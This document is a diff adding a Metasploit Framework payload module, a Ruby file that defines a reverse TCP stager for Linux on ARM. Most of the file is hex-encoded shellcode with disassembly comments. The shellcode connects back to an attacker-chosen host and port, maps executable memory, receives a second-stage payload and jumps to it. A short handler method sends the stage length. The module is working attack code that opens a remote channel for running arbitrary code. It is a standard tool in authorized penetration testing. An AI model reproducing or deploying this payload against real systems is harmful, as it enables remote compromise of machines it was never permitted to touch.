|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | +require 'msf/core/handler/reverse_tcp' |
| 11 | + |
| 12 | + |
| 13 | +### |
| 14 | +# |
| 15 | +# ReverseTcp |
| 16 | +# ---------- |
| 17 | +# |
| 18 | +# Linux reverse TCP stager. |
| 19 | +# |
| 20 | +### |
| 21 | +module Metasploit3 |
| 22 | + |
| 23 | + include Msf::Payload::Stager |
| 24 | + |
| 25 | + def initialize(info = {}) |
| 26 | + super(merge_info(info, |
| 27 | + 'Name' => 'Reverse TCP Stager', |
| 28 | + 'Description' => 'Connect back to the attacker', |
| 29 | + 'Author' => 'nemo', |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Platform' => 'linux', |
| 32 | + 'Arch' => ARCH_ARMLE, |
| 33 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 34 | + 'Stager' => |
| 35 | + { |
| 36 | + 'Offsets' => |
| 37 | + { |
| 38 | + 'LPORT' => [ 194, 'n' ], |
| 39 | + 'LHOST' => [ 196, 'ADDR' ], |
| 40 | + }, |
| 41 | + 'Payload' => |
| 42 | + [ |
| 43 | + 0xe59f70c0, # ldr r7, [pc, #192] ; 811c <last+0x20> |
| 44 | + 0xe3a00002, # mov r0, #2 |
| 45 | + 0xe3a01001, # mov r1, #1 |
| 46 | + 0xe3a02006, # mov r2, #6 |
| 47 | + 0xef000000, # svc 0x00000000 |
| 48 | + 0xe1a0c000, # mov ip, r0 |
| 49 | + 0xe2877002, # add r7, r7, #2 |
| 50 | + 0xe28f109c, # add r1, pc, #156 ; 0x9c |
| 51 | + 0xe3a02010, # mov r2, #16 |
| 52 | + 0xef000000, # svc 0x00000000 |
| 53 | + 0xe1a0000c, # mov r0, ip |
| 54 | + 0xe24dd004, # sub sp, sp, #4 |
| 55 | + 0xe2877008, # add r7, r7, #8 |
| 56 | + 0xe1a0100d, # mov r1, sp |
| 57 | + 0xe3a02004, # mov r2, #4 |
| 58 | + 0xe3a03000, # mov r3, #0 |
| 59 | + 0xef000000, # svc 0x00000000 |
| 60 | + 0xe59d1000, # ldr r1, [sp] |
| 61 | + 0xe59f307c, # ldr r3, [pc, #124] ; 8120 <last+0x24> |
| 62 | + 0xe0011003, # and r1, r1, r3 |
| 63 | + 0xe3a02001, # mov r2, #1 |
| 64 | + 0xe1a02602, # lsl r2, r2, #12 |
| 65 | + 0xe0811002, # add r1, r1, r2 |
| 66 | + 0xe3a070c0, # mov r7, #192 ; 0xc0 |
| 67 | + 0xe3e00000, # mvn r0, #0 |
| 68 | + 0xe3a02007, # mov r2, #7 |
| 69 | + 0xe59f3060, # ldr r3, [pc, #96] ; 8124 <last+0x28> |
| 70 | + 0xe1a04000, # mov r4, r0 |
| 71 | + 0xe3a05000, # mov r5, #0 |
| 72 | + 0xef000000, # svc 0x00000000 |
| 73 | + 0xe59f7054, # ldr r7, [pc, #84] ; 8128 <last+0x2c> |
| 74 | + 0xe1a01000, # mov r1, r0 |
| 75 | + 0xe1a0000c, # mov r0, ip |
| 76 | + 0xe3a03000, # mov r3, #0 |
| 77 | + 0xe59d2000, # ldr r2, [sp] |
| 78 | + 0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8 |
| 79 | + 0xe58d2000, # str r2, [sp] |
| 80 | + 0xe3520000, # cmp r2, #0 |
| 81 | + 0xda000002, # ble 80fc <last> |
| 82 | + 0xe3a02ffa, # mov r2, #1000 ; 0x3e8 |
| 83 | + 0xef000000, # svc 0x00000000 |
| 84 | + 0xeafffff7, # b 80dc <loop> |
| 85 | + 0xe2822ffa, # add r2, r2, #1000 ; 0x3e8 |
| 86 | + 0xef000000, # svc 0x00000000 |
| 87 | + 0xe1a0f001, # mov pc, r1 |
| 88 | + 0xe3a07001, # mov r7, #1 |
| 89 | + 0xe3a00001, # mov r0, #1 |
| 90 | + 0xef000000, # svc 0x00000000 |
| 91 | + 0x5c110002, # .word 0x5c110002 |
| 92 | + 0x0100007f, # .word 0x0100007f |
| 93 | + 0x00000119, # .word 0x00000119 |
| 94 | + 0xfffff000, # .word 0xfffff000 |
| 95 | + 0x00001022, # .word 0x00001022 |
| 96 | + 0x00000123 # .word 0x00000123 |
| 97 | + ].pack("V*") |
| 98 | + |
| 99 | + } |
| 100 | + )) |
| 101 | + end |
| 102 | + |
| 103 | + def handle_intermediate_stage(conn, payload) |
| 104 | + |
| 105 | + print_status("Transmitting stage length value...(#{payload.length} bytes)") |
| 106 | + |
| 107 | + address_format = 'V' |
| 108 | + |
| 109 | + # Transmit our intermediate stager |
| 110 | + conn.put( [ payload.length ].pack(address_format) ) |
| 111 | + |
| 112 | + Rex::ThreadSafe.sleep(0.5) |
| 113 | + |
| 114 | + return true |
| 115 | + end |
| 116 | + |
| 117 | +end |
0 commit comments